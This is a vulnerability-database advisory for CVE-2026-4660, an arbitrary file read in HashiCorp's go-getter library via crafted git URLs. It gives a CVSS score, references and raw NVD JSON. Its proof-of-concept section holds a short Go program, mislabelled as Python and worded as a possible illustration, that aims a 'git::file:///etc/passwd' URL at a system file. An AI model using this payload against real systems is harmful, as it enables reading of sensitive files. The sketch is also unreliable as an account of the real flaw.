CVE-2026-4660

Description

HashiCorp’s go-getter library up to v1.8.5 may allow arbitrary file reads on the file system during certain git operations through a maliciously crafted URL. This vulnerability, CVE-2026-4660, is fixed in go-getter v1.8.6. This vulnerability does not affect the go-getter/v2 branch and package.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

HashiCorp go-getter <= v1.8.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

package main

import (
	"fmt"
	"github.com/hashicorp/go-getter"
)

func main() {
	// Malicious URL targeting local files via git operation simulation
	// This demonstrates how a crafted URL might trigger the read
	maliciousURL := "git::file:///etc/passwd"
	
	// Target directory
	dst := "./output"
	
	client := &getter.Client{
		Src: maliciousURL,
		Dst: dst,
		Pwd: "./",
	}

	err := client.Get()
	if err != nil {
		fmt.Println("Error:", err)
	} else {
		fmt.Println("File fetched successfully")
	}
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4660
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4660
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4660/
[4] VulDB https://vuldb.com/cve/CVE-2026-4660
[5] https://discuss.hashicorp.com/t/hcsec-2026-04-go-getter-may-allow-to-arbitrary-filesystem-reads-through-git-operations/77311

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4660", "sourceIdentifier": "[email protected]", "published": "2026-04-09T14:16:32.993", "lastModified": "2026-04-13T15:02:47.353", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "HashiCorp’s go-getter library up to v1.8.5 may allow arbitrary file reads on the file system during certain git operations through a maliciously crafted URL. This vulnerability, CVE-2026-4660, is fixed in go-getter v1.8.6. This vulnerability does not affect the go-getter/v2 branch and package."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://discuss.hashicorp.com/t/hcsec-2026-04-go-getter-may-allow-to-arbitrary-filesystem-reads-through-git-operations/77311", "source": "[email protected]"}]}}